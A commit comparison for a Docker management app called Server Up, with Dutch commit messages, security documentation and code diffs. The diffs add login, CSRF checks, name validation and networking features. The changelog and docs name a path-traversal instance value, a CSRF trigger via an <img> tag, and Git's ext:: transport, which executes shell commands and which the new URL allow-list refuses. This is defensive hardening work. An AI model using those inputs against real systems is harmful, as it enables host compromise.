Compare commits

...

2 commits

Author SHA1 Message Date
Ramon
8b29553a71 v0.5.00-beta - containerbeheer, eigen IP-adressen, veiliger installeren
Some checks failed
Deploy server-up (dev) / deploy (push) Failing after 3s
- Beheer per container: de stackkaart klapt uit naar de losse containers, met
  start/stop/herstart, logs en live CPU-/geheugengebruik per container. De
  containernaam wordt getoetst aan compose_ps van díé stack, zodat de route
  geen willekeurige container op de host kan raken.
- Stacks met een eigen IP-adres (macvlan/ipvlan): netwerkbeheer onder
  Instellingen → Netwerken, netwerkkeuze in de installatiemodal met voorstel
  voor het eerstvolgende vrije adres, en automatische omzetting van het
  gerenderde compose-bestand (poortmappings eruit, ipv4_address erin). De
  templates in apps/ blijven ongewijzigd.
- Toegekende IP's worden vastgehouden in .serverup.json en getoond op de
  stackkaart, zodat een volgende installatie ze niet opnieuw uitdeelt.
- Vrije poort voorstellen bij installeren: next_free_port() bestond al maar
  werd nergens gebruikt. Bezette poorten worden in de UI gemeld.
- Genereerknop voor velden die op een geheim wijzen (token/password/secret),
  lokaal gegenereerd via crypto.getRandomValues.
- Compose valideren met `docker compose config` vóór het wegschrijven, zowel
  bij de editor als na het renderen bij installatie. Ontbreekt de compose-CLI,
  dan blokkeert dat een installatie niet.
- Uitloggen in de zijbalk; gebruikersbeheer en wachtwoord wijzigen onder
  Instellingen → Beveiliging.
- docs/netwerken.md (incl. de shim-interface die de host nodig heeft om zijn
  eigen macvlan-containers te bereiken) en docs/beveiliging.md toegevoegd.
- CHANGELOG bijgewerkt; testsuite uitgebreid naar 112 tests.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01C7oLCRYzY5ixJ5Sv8Y8EFb
2026-07-26 14:51:32 +02:00
Ramon
916e54a229 v0.5.00-beta - authenticatie + beveiligingsfixes
Server Up beheerde de Docker-daemon als root zonder enige vorm van
authenticatie: elke /api/*-route was gelijk aan root-toegang op de host.

- Authenticatie toegevoegd (core/auth.py): lokale accounts met scrypt-hash,
  sessiecookie (HttpOnly, SameSite=Strict) en optionele trusted-proxy-header
  SSO die alleen vanaf geconfigureerde proxy-IP's wordt vertrouwd.
- before_request-guard schermt alle API-routes af; loginscherm en
  eerste-account-setup in de UI.
- CSRF-token verplicht op elke mutatie; GET-varianten van state-wijzigende
  routes verwijderd (o.a. /api/docker/restart was via <img> te triggeren).
- Path traversal in /api/store/install gedicht; gedeelde safe_name()-validatie
  voor stack-, instantie- en repo-namen.
- Git-tokens worden niet meer teruggegeven via /api/repos en /api/settings
  (has_token-vlag); settings-PUT wist een bestaand token niet meer en kan AUTH
  niet overschrijven.
- Git-URL's beperkt tot http(s)/ssh/scp-syntax; ext::-transport (voert een
  shell-commando uit) en file:// worden geweigerd.
- Boilerplate-templates renderen in een SandboxedEnvironment (SSTI).
- Automatisch syncen van repo's bij boot standaard uit (AUTO_SYNC_ON_BOOT),
  optionele commit-pinning per repo.
- Waitress in plaats van de Flask-ontwikkelserver, MAX_CONTENT_LENGTH,
  ProxyFix, en CSP/X-Frame-Options/nosniff/Referrer-Policy headers.
- Front-end libraries (Tailwind, Alpine, htmx) lokaal meegeleverd i.p.v. CDN;
  Google Fonts verwijderd. Werkt nu ook offline.
- SSH host-key-verificatie aan (accept-new + /data/known_hosts).
- Lichte /healthz voor de healthcheck i.p.v. `docker info`.
- config.json en secret.key met 0600-rechten.
- Poort standaard op 127.0.0.1 gebonden.
- Audit-log gebruikt één gedeelde SQLite-verbinding (fd-lek per job verholpen);
  joblogs afgekapt op 2000 regels.
- VERSION-bestand is de enige bron voor het versienummer.
- pytest-suite toegevoegd (74 tests) en als stap in beide deploy-workflows.
- fix-config.sh verwijderd (hardgecodeerd intern IP, overschreef config).

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01C7oLCRYzY5ixJ5Sv8Y8EFb
2026-07-26 14:40:05 +02:00
31 changed files with 2931 additions and 163 deletions

View file

@ -41,6 +41,13 @@ jobs:
echo "SU_VERSION=${VERSION}" >> "$GITHUB_ENV"
echo "Deploying version: ${VERSION} (${CHANNEL})"
- name: Tests draaien
run: |
set -euo pipefail
python3 -m venv /tmp/su-test-venv
/tmp/su-test-venv/bin/pip install -q -r server-up/requirements.txt pytest
/tmp/su-test-venv/bin/python -m pytest tests -q
- name: Sync code naar deploy-directory
run: |
set -euo pipefail

View file

@ -41,6 +41,13 @@ jobs:
echo "SU_VERSION=${VERSION}" >> "$GITHUB_ENV"
echo "Deploying version: ${VERSION} (${CHANNEL})"
- name: Tests draaien
run: |
set -euo pipefail
python3 -m venv /tmp/su-test-venv
/tmp/su-test-venv/bin/pip install -q -r server-up/requirements.txt pytest
/tmp/su-test-venv/bin/python -m pytest tests -q
- name: Sync code naar deploy-directory
run: |
set -euo pipefail

2
.gitignore vendored
View file

@ -2,3 +2,5 @@ __pycache__/
*.pyc
*.pyo
.env
.pytest_cache/
venv/

View file

@ -1,3 +1,90 @@
# v0.5.00-beta — Authenticatie, beveiliging en eigen IP-adressen
> **Let op bij het bijwerken.** Server Up heeft nu een login. Open na het
> bijwerken meteen de webinterface en maak een beheerdersaccount aan — zolang
> dat niet gebeurd is, kan iedereen die de pagina bereikt het account claimen.
> De poort wordt voortaan standaard op `127.0.0.1` gebonden; zet `BIND=0.0.0.0`
> in je `.env` als je er van buiten de server bij moet (liefst achter een
> reverse proxy met TLS — zie `docs/beveiliging.md`).
## 🔐 Authenticatie
Tot nu toe was elke `/api/*`-route open. Omdat Server Up de docker-socket als
root gebruikt, betekende dat: wie de poort kon bereiken, had root op de host.
- Lokale accounts met scrypt-gehashte wachtwoorden, sessiecookie
(`HttpOnly`, `SameSite=Strict`) en lockout na vijf mislukte pogingen.
- Optionele SSO via een reverse-proxy-header (Authelia/Authentik/Cloudflare
Access). De header wordt alleen vertrouwd vanaf een geconfigureerd proxy-IP.
- Loginscherm en eerste-account-setup in de interface; gebruikersbeheer en
wachtwoord wijzigen onder Instellingen → Beveiliging.
## 🛡️ Beveiligingsfixes
- **CSRF**: elke mutatie vereist een `X-CSRF-Token`-header. Routes die de
toestand wijzigen accepteren geen `GET` meer — `/api/docker/restart` was
eerder met een `<img>`-tag vanaf een willekeurige website te triggeren.
- **Path traversal**: `/api/store/install` controleerde de instantienaam niet;
`"instance": "../../…"` schreef buiten de library. Alle stack-, instantie- en
repo-namen lopen nu door één `safe_name()`-validatie.
- **Tokenlek**: git-tokens werden teruggegeven door `/api/repos` en
`/api/settings`. Die zijn vervangen door een `has_token`-vlag; opslaan met een
leeg veld wist het bestaande token niet meer.
- **Git-URL's**: alleen `http(s)://`, `ssh://` en `git@host:pad`. Git's
`ext::`-transport voert een shell-commando uit en wordt nu geweigerd.
- **Templates** renderen in een Jinja2-sandbox (server-side template injection).
- **SSH**: host-keys worden geverifieerd (`accept-new` + `/data/known_hosts`);
eerder stond `StrictHostKeyChecking=no`, waarmee elke MITM onzichtbaar was.
- **Modules**: repo's worden niet meer automatisch bij elke start gepulld
(`AUTO_SYNC_ON_BOOT`, standaard uit) en kunnen per repo op een commit worden
vastgezet.
- Productie-WSGI-server (waitress) i.p.v. de Flask-ontwikkelserver, limiet op
request-grootte, `ProxyFix`, en CSP/`X-Frame-Options`/`nosniff`/
`Referrer-Policy`-headers.
- Tailwind, Alpine en htmx worden meegeleverd in plaats van vanaf een CDN
geladen; Google Fonts is eruit. De interface werkt nu ook offline.
- `config.json` en de sleutel staan op 0600.
## 🌐 Stacks met een eigen IP-adres
Nieuw: geef een stack een eigen adres in je LAN in plaats van poorten op de host
(macvlan/ipvlan). Geen poortconflicten meer, apps op hun eigen standaardpoort, en
je kunt per app firewallen.
- Netwerkbeheer onder Instellingen → Netwerken (driver, host-interface, subnet,
gateway, optionele IP-range).
- Bij het installeren kies je "Poorten op de host" of een netwerk; Server Up
stelt het eerstvolgende vrije adres voor en houdt toegekende adressen vast.
- Het gerenderde compose-bestand wordt automatisch omgezet: poortmappings eruit,
netwerk met `ipv4_address` erin. De templates in `apps/` blijven ongewijzigd.
- Uitleg en valkuilen (waaronder de shim-interface die de host nodig heeft om
zijn eigen macvlan-containers te bereiken) staan in `docs/netwerken.md`.
## 🧩 Beheer per container
De stackkaart klapt uit naar de losse containers: per container starten, stoppen,
herstarten, logs bekijken en live CPU-/geheugengebruik.
## 📦 Veiliger installeren
- Poortvelden krijgen een vrij poortnummer voorgesteld — `next_free_port()`
bestond al maar werd nergens gebruikt. Bezette poorten worden gemeld.
- Velden voor tokens en wachtwoorden krijgen een genereerknop.
- Compose wordt gevalideerd (`docker compose config`) vóór het wegschrijven, dus
een typefout in de editor maakt een draaiende stack niet meer onstartbaar.
## 🔧 Overig
- Testsuite met pytest (112 tests), ook als stap in beide deploy-workflows.
- Audit-log gebruikt één gedeelde SQLite-verbinding — elke job lekte eerder een
file descriptor. Joblogs worden afgekapt op 2000 regels.
- Het `VERSION`-bestand is de enige bron voor het versienummer.
- Lichte `/healthz` voor de healthcheck in plaats van `docker info`.
- `fix-config.sh` verwijderd: bevatte een hardgecodeerd intern IP en
overschreef de configuratie van de gebruiker.
---
# v0.4.60 — Tweecijferig patch-nummer
## Versiebeleid vanaf v0.4.60

View file

@ -37,19 +37,38 @@ COPY --from=build /inst /usr/local
WORKDIR /app
COPY server-up/ ./
COPY modules/ ./modules-bundled/
COPY VERSION ./VERSION
RUN mkdir -p static/fonts \
&& curl -fsSL "https://cdn.jsdelivr.net/npm/@mdi/font@7.4.47/css/materialdesignicons.min.css" -o static/fonts/mdi.min.css \
&& curl -fsSL "https://cdn.jsdelivr.net/npm/@mdi/font@7.4.47/fonts/materialdesignicons-webfont.woff2" -o static/fonts/materialdesignicons-webfont.woff2 \
&& sed -i "s|https://cdn.jsdelivr.net/npm/@mdi/font@7.4.47/fonts/||g" static/fonts/mdi.min.css
# Front-end libraries meeleveren in plaats van vanaf een CDN laden. Zo kan de
# Content-Security-Policy op 'self' blijven, is er geen supply-chain-risico van
# unpkg/jsdelivr op runtime, en werkt de UI ook zonder internetverbinding.
RUN mkdir -p static/vendor \
&& curl -fsSL "https://cdn.tailwindcss.com/3.4.16?plugins=forms,typography" \
-o static/vendor/tailwind.js \
&& curl -fsSL "https://cdn.jsdelivr.net/npm/alpinejs@3.14.1/dist/cdn.min.js" \
-o static/vendor/alpine.min.js \
&& curl -fsSL "https://cdn.jsdelivr.net/npm/htmx.org@2.0.3/dist/htmx.min.js" \
-o static/vendor/htmx.min.js \
&& for f in static/vendor/tailwind.js static/vendor/alpine.min.js static/vendor/htmx.min.js; do \
test -s "$f" || { echo "LEEG: $f"; exit 1; }; \
done
# Directories + git safe.directory (fix dubious ownership)
RUN mkdir -p /data/stacks /data/appdata /data/backups /data/git modules /root \
&& printf '[safe]\n\tdirectory = *\n' > /root/.gitconfig
# GIT_SSH_COMMAND: StrictHostKeyChecking=accept-new vertrouwt een host bij de
# eerste verbinding en bewaart de sleutel in /data/known_hosts. Wijzigt die
# sleutel later, dan faalt de verbinding — met `no` was elke MITM onzichtbaar.
ENV PYTHONUNBUFFERED=1 PORT=5000 HOME=/root \
SU_VERSION=${SU_VERSION} \
SU_CONFIG=/data/config.json SU_AUDIT=/data/audit.db SU_GIT_CACHE=/data/git \
GIT_SSH_COMMAND="ssh -F /dev/null -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null"
SU_SECRET=/data/secret.key \
GIT_SSH_COMMAND="ssh -o StrictHostKeyChecking=accept-new -o UserKnownHostsFile=/data/known_hosts"
EXPOSE 5000
HEALTHCHECK --interval=30s --timeout=8s --start-period=15s CMD curl -fs http://localhost:5000/api/docker/info || exit 1
HEALTHCHECK --interval=30s --timeout=8s --start-period=15s CMD curl -fs http://localhost:5000/healthz || exit 1
CMD ["python","app.py"]

View file

@ -1 +1 @@
0.4.60
0.5.00-beta

View file

@ -17,7 +17,10 @@ services:
# Wijzig BASE_DIR in .env om alle paden te verplaatsen
- ${BASE_DIR:-/opt/serverup}:${BASE_DIR:-/opt/serverup}
ports:
- "${PORT:-5000}:5000"
# Standaard alleen bereikbaar vanaf de host zelf. Server Up beheert de
# Docker-daemon, dus zet dit pas open als er een reverse proxy met TLS
# voor staat: BIND=0.0.0.0 in .env (en stel in de UI de trusted proxy in).
- "${BIND:-127.0.0.1}:${PORT:-5000}:5000"
environment:
- PORT=5000
- HOME=/root

111
docs/beveiliging.md Normal file
View file

@ -0,0 +1,111 @@
# Beveiliging
Server Up beheert de Docker-daemon. Wie toegang heeft tot de webinterface, kan
containers starten met willekeurige volumes — en daarmee in de praktijk alles op
de host. Behandel toegang tot Server Up dus als root-toegang tot de server.
Vanaf v0.5.00 is de interface standaard afgeschermd met een login.
---
## Eerste start
Bij de eerste start is er nog geen account. Open de webinterface en maak er
meteen een aan: **zolang dat niet gebeurd is, kan iedereen die de pagina bereikt
het beheerdersaccount claimen.** De container laat daarom bij het opstarten een
waarschuwing zien.
Standaard bindt `docker-compose.yml` de poort op `127.0.0.1`, dus alleen vanaf de
server zelf bereikbaar. Wil je er van buitenaf bij, zet dan een reverse proxy met
TLS ervoor (zie onder) en pas `BIND` aan in je `.env`.
## Authenticatiemodi
Instelbaar via `PUT /api/auth/mode`:
| Modus | Betekenis |
|-------|-----------|
| `local` (standaard) | Gebruikersnaam + wachtwoord in Server Up zelf |
| `proxy` | Identiteit komt uit een header van je reverse proxy; geen lokale login meer |
| `both` | Beide; handig om SSO te testen zonder jezelf buiten te sluiten |
Wachtwoorden worden opgeslagen als scrypt-hash (n=2¹⁴) met een willekeurige salt.
Na vijf mislukte pogingen is het account vijf minuten geblokkeerd.
### SSO via een reverse proxy
Draai je Authelia, Authentik of Cloudflare Access, dan kan die de identiteit in
een header zetten (meestal `Remote-User`).
Belangrijk: die header wordt **alleen** vertrouwd als het bron-IP in
`trusted_proxies` staat. Zonder die lijst kan iedereen de header zelf meesturen
en zich voordoen als beheerder. Server Up weigert daarom modus `proxy`/`both` als
`trusted_proxies` leeg is.
Zorg er ook voor dat je proxy de header van binnenkomende requests **wist** en
zelf opnieuw zet.
## Reverse proxy met TLS
Server Up spreekt gewoon HTTP. Zet er een proxy voor die TLS afhandelt:
```nginx
location / {
proxy_pass http://127.0.0.1:5000;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_set_header Remote-User ""; # wis wat de client stuurt
}
```
Zet `SU_HTTPS=1` in de omgeving zodra alles via TLS loopt; de sessiecookie krijgt
dan de `Secure`-vlag.
## Wat er beveiligd is
- **Sessies**`HttpOnly`, `SameSite=Strict`, 12 uur geldig.
- **CSRF** — elke POST/PUT/DELETE vereist de `X-CSRF-Token`-header. Routes die de
toestand wijzigen accepteren geen GET meer.
- **Padvalidatie** — stack-, instantie- en repo-namen worden gecontroleerd, zodat
ze nooit buiten `LIBRARY_DIR` of de git-cache kunnen wijzen.
- **Git-URL's** — alleen `http(s)://`, `ssh://` en `git@host:pad`. Git's
`ext::`-transport voert een shell-commando uit en wordt geweigerd.
- **Templates** — boilerplates renderen in een Jinja2-sandbox.
- **Geheimen** — git-tokens worden nooit teruggegeven door de API (alleen een
`has_token`-vlag); `config.json` en `secret.key` staan op 0600.
- **Headers** — CSP op `'self'`, `X-Frame-Options: DENY`, `nosniff`,
`Referrer-Policy: no-referrer`. Alle front-end libraries worden meegeleverd,
dus er gaat op runtime niets naar een CDN.
- **SSH** — host-keys worden geverifieerd (`accept-new`, opgeslagen in
`/data/known_hosts`).
## Externe repo's en modules
Een module is Python-code die Server Up **uitvoert**. Voeg alleen repo's toe die
je vertrouwt. Twee knoppen om aan te draaien:
- `AUTO_SYNC_ON_BOOT` staat standaard **uit**. Repo's worden dus niet vanzelf
bijgewerkt; je synchroniseert zelf wanneer je dat wilt.
- Zet per repo een `commit` in de config om hem op een specifieke commit vast te
zetten:
```json
{"id": "mijn-apps", "url": "https://…", "branch": "main", "commit": "a1b2c3d"}
```
## Wat níét is afgedekt
- **De docker-socket zelf.** Server Up heeft volledige toegang tot de daemon; dat
is inherent aan wat het doet. Een socket-proxy die alleen bepaalde endpoints
toelaat werkt niet, omdat compose vrijwel alles nodig heeft.
- **Rechten per gebruiker.** Elk account heeft dezelfde volledige toegang; er
zijn geen rollen.
- **Rate limiting op de API** buiten de login-lockout om. Zet er zo nodig een
proxy met rate limiting voor.
## Een probleem melden
Vind je een beveiligingsprobleem, meld het dan via de repository-issues met zo
veel mogelijk details over de reproductie.

134
docs/netwerken.md Normal file
View file

@ -0,0 +1,134 @@
# Stacks een eigen IP-adres geven (macvlan / ipvlan)
Standaard publiceert een stack poorten op de host: Vaultwarden op `8222`, Mealie
op `9925`, enzovoort. Dat werkt, maar levert op den duur een lange lijst
poortnummers op die je moet onthouden, en twee apps die allebei poort 8080 willen
gaan niet samen.
Met een **macvlan**- of **ipvlan**-netwerk krijgt een stack een eigen IP-adres in
je LAN. De app draait dan gewoon op zijn eigen standaardpoort:
| Zonder | Met eigen IP |
|--------|--------------|
| `http://192.168.1.10:8222` | `http://192.168.1.240` |
| `http://192.168.1.10:9925` | `http://192.168.1.241` |
Je kunt er ook per app op firewallen, en een DNS-naam aan koppelen.
---
## ⚠️ Lees dit eerst: de host bereikt zijn eigen containers niet
Dit is de bekendste valkuil van macvlan. De Docker-host kan **niet** bij een
container die op een macvlan-netwerk draait, en andersom ook niet. Alle andere
apparaten in je netwerk kunnen dat wél.
Draait Server Up op dezelfde machine als de containers, dan zie je dus:
- vanaf je laptop: `http://192.168.1.240` werkt
- vanaf de server zelf: `curl http://192.168.1.240` loopt vast
Heb je dat nodig (bijvoorbeeld voor een healthcheck of een reverse proxy die op
de host draait), maak dan een shim-interface aan op de host:
```bash
# Eenmalig; vervang eth0 en de adressen door die van jouw netwerk.
ip link add shim link eth0 type macvlan mode bridge
ip addr add 192.168.1.239/32 dev shim
ip link set shim up
ip route add 192.168.1.240/28 dev shim
```
Zet dat in een systemd-unit of in `/etc/network/interfaces`, anders is het na een
herstart weg.
**ipvlan (l2)** heeft dit probleem niet op dezelfde manier, maar vereist wel dat
je switch en router er goed mee omgaan. Werkt macvlan niet, probeer dan ipvlan.
---
## Stap 1 — Bepaal je netwerkgegevens
Je hebt vier dingen nodig:
| Wat | Voorbeeld | Hoe kom je eraan |
|-----|-----------|------------------|
| Host-interface | `eth0` | `ip -br link` op de server |
| Subnet | `192.168.1.0/24` | Je router; hetzelfde subnet als de server |
| Gateway | `192.168.1.1` | `ip route \| grep default` |
| IP-range | `192.168.1.240/28` | Een blok dat je **buiten je DHCP-bereik** houdt |
De IP-range is optioneel maar sterk aanbevolen. Zonder range mag Docker het hele
subnet gebruiken en kan het een adres uitdelen dat je DHCP-server ook aan een
telefoon geeft. `192.168.1.240/28` reserveert `.240` t/m `.255` — zestien
adressen. Zet dat bereik in je router buiten de DHCP-pool.
## Stap 2 — Netwerk aanmaken in Server Up
Ga naar **Instellingen → Netwerken → Netwerk** en vul de gegevens in. Server Up
maakt het Docker-netwerk aan en onthoudt de definitie.
Hetzelfde met de hand zou zijn:
```bash
docker network create -d macvlan \
--subnet 192.168.1.0/24 \
--gateway 192.168.1.1 \
--ip-range 192.168.1.240/28 \
-o parent=eth0 \
lan
```
## Stap 3 — Een stack installeren op een eigen IP
Kies in de installatiemodal bij **Netwerk** je netwerk in plaats van "Poorten op
de host". Server Up stelt het eerstvolgende vrije adres voor; je kunt het
overschrijven.
Bij het installeren gebeurt er dit met het compose-bestand:
```yaml
# vóór # ná
services: services:
vaultwarden: vaultwarden:
image: vaultwarden/server image: vaultwarden/server
ports: networks:
- "8222:80" lan:
ipv4_address: 192.168.1.240
networks:
lan:
external: true
```
De poortmapping verdwijnt — die heeft geen functie meer. Vaultwarden luistert op
poort 80 en is bereikbaar op `http://192.168.1.240`.
Bestaat een stack uit meerdere containers, dan krijgt de container die poorten
publiceerde het vaste adres; de rest komt zonder vast adres in hetzelfde netwerk,
zodat ze elkaar op servicenaam blijven vinden.
---
## Adresbeheer
Server Up bewaart het toegekende adres in `.serverup.json` in de stackmap. Zo
blijft het gereserveerd, ook als de stack gestopt is, en krijgt een volgende
installatie het volgende vrije adres voorgesteld.
Wil je het adres van een bestaande stack wijzigen, pas dan het compose-bestand
aan via **compose bewerken** en werk `ipv4_address` bij.
## Verwijderen
Een netwerk kan pas weg als er geen containers meer op draaien. Stop eerst de
betreffende stacks; Server Up weigert het anders met een melding.
## Problemen oplossen
| Symptoom | Oorzaak |
|----------|---------|
| `network ... not found` bij het starten | Netwerk verwijderd terwijl de stack er nog naar verwijst — maak het opnieuw aan |
| Container krijgt geen verbinding | Verkeerde `parent`-interface, of de interface zit in een bond/bridge |
| Adres al in gebruik | Het adres valt binnen je DHCP-bereik; verklein de DHCP-pool of kies een andere range |
| Vanaf de server niet bereikbaar, vanaf laptop wel | Verwacht gedrag — zie de shim-interface bovenaan |
| Werkt niet op WiFi | Klopt: macvlan werkt niet over een draadloze interface |

View file

@ -1,47 +0,0 @@
#!/bin/bash
# Repareer de APP_REPOS in de Server Up config:
# - Verwijdert dubbele entries
# - Geeft de Forgejo dev-repo een uniek id (bes-r-dev)
set -euo pipefail
docker exec server-up python3 -c "
import json
from pathlib import Path
p = Path('/data/config.json')
cfg = json.loads(p.read_text())
cfg['APP_REPOS'] = [
{
'id': 'server-up',
'name': 'server-up (GitHub)',
'url': 'https://github.com/bes-r/server-up.git',
'branch': 'main',
'subdir': 'apps',
'token': ''
},
{
'id': 'boilerplates',
'name': 'Boilerplates (ChristianLempa)',
'url': 'https://github.com/ChristianLempa/boilerplates-library.git',
'branch': 'main',
'subdir': 'compose'
},
{
'id': 'bes-r-dev',
'name': 'bes-r (dev)',
'url': 'http://10.0.20.22:3000/bes-r/server-up.git',
'branch': 'dev',
'token': '',
'subdir': 'apps'
}
]
p.write_text(json.dumps(cfg, indent=2))
print('Config bijgewerkt.')
"
echo "Container herstarten..."
cd /opt/docker/server-up && docker compose restart
echo "Klaar. Ga in Server Up naar de app-store en klik op Synchroniseren voor 'bes-r (dev)'."

View file

@ -1,6 +1,7 @@
"""Server Up — Docker Manager."""
from __future__ import annotations
import inspect, json, os, re, shutil, subprocess, sys, time
import inspect, json, os, re, secrets, shutil, subprocess, sys, time
from datetime import timedelta
from pathlib import Path
# Ensure app dir is in sys.path so modules can import 'from modules.base' and 'from core'
@ -9,16 +10,51 @@ if str(APP) not in sys.path:
sys.path.insert(0, str(APP))
import yaml
from flask import Flask, Response, jsonify, render_template, request
from flask import Flask, Response, jsonify, render_template, request, session
import core as cfg
from core import audit, jobs, i18n
from core import docker, git, boilerplates, updater
from core import auth, docker, git, boilerplates, updater
from core import compose_transform, networks
from core.modules import Module, CORE, discover
app = Flask(__name__, static_folder="static", template_folder="templates")
VERSION = os.environ.get("SU_VERSION", "0.4.60")
def _version() -> str:
"""Versienummer: env-var wint, anders het centrale VERSION-bestand."""
env = os.environ.get("SU_VERSION", "").strip()
if env and env != "dev":
return env
for candidate in (APP / "VERSION", APP.parent / "VERSION"):
try:
v = candidate.read_text(encoding="utf-8").strip()
if v:
return v
except Exception:
continue
return env or "0.0.0"
VERSION = _version()
# ── App-configuratie ─────────────────────────────────────────────────────────
app.secret_key = auth.secret_key()
app.config.update(
SESSION_COOKIE_HTTPONLY=True,
SESSION_COOKIE_SAMESITE="Strict",
# Alleen zinvol achter TLS; anders zou de cookie nooit verstuurd worden.
SESSION_COOKIE_SECURE=bool(os.environ.get("SU_HTTPS")),
PERMANENT_SESSION_LIFETIME=timedelta(hours=12),
MAX_CONTENT_LENGTH=2 * 1024 * 1024,
)
# Achter een reverse proxy is request.remote_addr het proxy-adres; ProxyFix
# herstelt het echte client-IP. Alleen inschakelen als er ook daadwerkelijk
# vertrouwde proxy's zijn geconfigureerd — anders kan iedereen zijn IP vervalsen.
if auth.settings().get("trusted_proxies"):
from werkzeug.middleware.proxy_fix import ProxyFix
app.wsgi_app = ProxyFix(app.wsgi_app, x_for=1, x_proto=1, x_host=1)
MODULES: list[Module] = []
USER_MOD = APP / "modules"
@ -105,17 +141,182 @@ def _notify_restart(mid: str) -> tuple[bool, str]:
# API
# ══════════════════════════════════════════════════════════════════════════════
# ── Authenticatie ─────────────────────────────────────────────────────────────
# Routes die zonder sessie bereikbaar moeten zijn. `/` levert alleen de lege
# app-shell; alle gegevens komen via /api/* en zijn dus wél afgeschermd.
PUBLIC_PATHS = frozenset({
"/", "/healthz", "/favicon.ico",
"/api/auth/me", "/api/auth/login", "/api/auth/logout", "/api/auth/setup",
})
@app.before_request
def require_auth():
p = request.path
if p in PUBLIC_PATHS or p.startswith("/static/"):
return None
if auth.current_user():
# Sessie-gebaseerde auth is kwetsbaar voor CSRF; elke mutatie moet het
# token meesturen dat alleen same-origin JavaScript kan uitlezen.
if request.method not in ("GET", "HEAD", "OPTIONS"):
if not auth.verify_csrf(request.headers.get("X-CSRF-Token")):
return jsonify(ok=False, msg="Ongeldig of ontbrekend CSRF-token"), 403
return None
if auth.needs_setup():
return jsonify(ok=False, msg="Server Up is nog niet ingesteld",
needs_setup=True), 401
return jsonify(ok=False, msg="Niet ingelogd"), 401
@app.route("/api/auth/me")
def api_auth_me():
user = auth.current_user()
a = auth.settings()
return jsonify(authenticated=bool(user), user=user or "",
needs_setup=auth.needs_setup(), mode=a.get("mode", "local"),
version=VERSION,
csrf_token=auth.csrf_token() if user else "")
@app.route("/api/auth/setup", methods=["POST"])
def api_auth_setup():
"""Maak het eerste account aan. Werkt alleen zolang er nog geen account is."""
if not auth.needs_setup():
return jsonify(ok=False, msg="Er bestaat al een account"), 409
d = request.json or {}
ok, msg = auth.create_user(d.get("username", ""), d.get("password", ""))
if not ok:
return jsonify(ok=False, msg=msg), 400
auth.start_session(d.get("username", "").strip())
audit.log("auth", "setup", "ok", ref=d.get("username", ""), ip=request.remote_addr)
return jsonify(ok=True, msg=msg, csrf_token=auth.csrf_token())
@app.route("/api/auth/login", methods=["POST"])
def api_auth_login():
d = request.json or {}
name = (d.get("username") or "").strip()
ok, msg = auth.check_login(name, d.get("password", ""))
if not ok:
audit.log("auth", "login", "error", ref=name, detail=msg,
ip=request.remote_addr)
return jsonify(ok=False, msg=msg), 401
auth.start_session(name)
audit.log("auth", "login", "ok", ref=name, ip=request.remote_addr)
return jsonify(ok=True, msg=msg, user=name, csrf_token=auth.csrf_token())
@app.route("/api/auth/logout", methods=["POST"])
def api_auth_logout():
user = session.get("user", "")
auth.end_session()
if user:
audit.log("auth", "logout", "ok", ref=user, ip=request.remote_addr)
return jsonify(ok=True)
@app.route("/api/auth/password", methods=["POST"])
def api_auth_password():
d = request.json or {}
user = auth.current_user()
ok, _ = auth.check_login(user, d.get("current", ""))
if not ok:
return jsonify(ok=False, msg="Huidig wachtwoord klopt niet"), 403
ok, msg = auth.set_password(user, d.get("new", ""))
if ok:
audit.log("auth", "password", "ok", ref=user, ip=request.remote_addr)
return jsonify(ok=ok, msg=msg), (200 if ok else 400)
@app.route("/api/auth/users")
def api_auth_users():
a = auth.settings()
return jsonify(users=auth.users(), mode=a.get("mode", "local"),
proxy_header=a.get("proxy_header", ""),
trusted_proxies=a.get("trusted_proxies", []))
@app.route("/api/auth/users", methods=["POST"])
def api_auth_users_add():
d = request.json or {}
ok, msg = auth.create_user(d.get("username", ""), d.get("password", ""))
if ok:
audit.log("auth", "user_add", "ok", ref=d.get("username", ""),
ip=request.remote_addr)
return jsonify(ok=ok, msg=msg), (200 if ok else 400)
@app.route("/api/auth/users/<name>", methods=["DELETE"])
def api_auth_users_del(name):
ok, msg = auth.delete_user(name)
if ok:
audit.log("auth", "user_del", "ok", ref=name, ip=request.remote_addr)
return jsonify(ok=ok, msg=msg), (200 if ok else 400)
@app.route("/api/auth/mode", methods=["PUT"])
def api_auth_mode():
"""Stel de authenticatiemodus en de trusted-proxy-instellingen in."""
d = request.json or {}
a = auth.settings()
mode = d.get("mode", a.get("mode"))
if mode not in ("local", "proxy", "both"):
return jsonify(ok=False, msg="Ongeldige modus"), 400
proxies = d.get("trusted_proxies", a.get("trusted_proxies") or [])
if not isinstance(proxies, list):
return jsonify(ok=False, msg="trusted_proxies moet een lijst zijn"), 400
if mode in ("proxy", "both") and not proxies:
return jsonify(ok=False,
msg="Geef minstens één vertrouwd proxy-IP op, anders kan "
"iedereen de identiteitsheader vervalsen."), 400
if mode == "proxy" and not d.get("confirm_lockout"):
return jsonify(ok=False,
msg="In modus 'proxy' vervalt de lokale login. Bevestig "
"dat de reverse proxy werkt voordat je omschakelt."), 400
a.update({"mode": mode,
"proxy_header": (d.get("proxy_header") or a.get("proxy_header") or "").strip(),
"trusted_proxies": [str(p).strip() for p in proxies if str(p).strip()]})
cfg.patch({"AUTH": a})
audit.log("auth", "mode", "ok", ref=mode, ip=request.remote_addr)
return jsonify(ok=True, msg="Instellingen opgeslagen")
# ── UI ────────────────────────────────────────────────────────────────────────
@app.route("/")
def index():
resp = render_template("index.html")
return resp
@app.route("/healthz")
def healthz():
"""Lichtgewicht liveness-check voor de Docker-healthcheck: geen subprocess."""
return jsonify(ok=True, version=VERSION)
@app.after_request
def no_cache(response):
def security_headers(response):
if request.path == "/" or request.path.endswith(".html"):
response.headers["Cache-Control"] = "no-cache, no-store, must-revalidate"
response.headers["Pragma"] = "no-cache"
# Alle scripts/styles/fonts worden meegeleverd (zie Dockerfile), dus 'self'
# volstaat. 'unsafe-inline' is nodig voor Alpine's x-* attributen en de
# inline tailwind.config; 'unsafe-eval' voor Alpine's expressie-evaluatie.
response.headers.setdefault("Content-Security-Policy", (
"default-src 'self'; "
"script-src 'self' 'unsafe-inline' 'unsafe-eval'; "
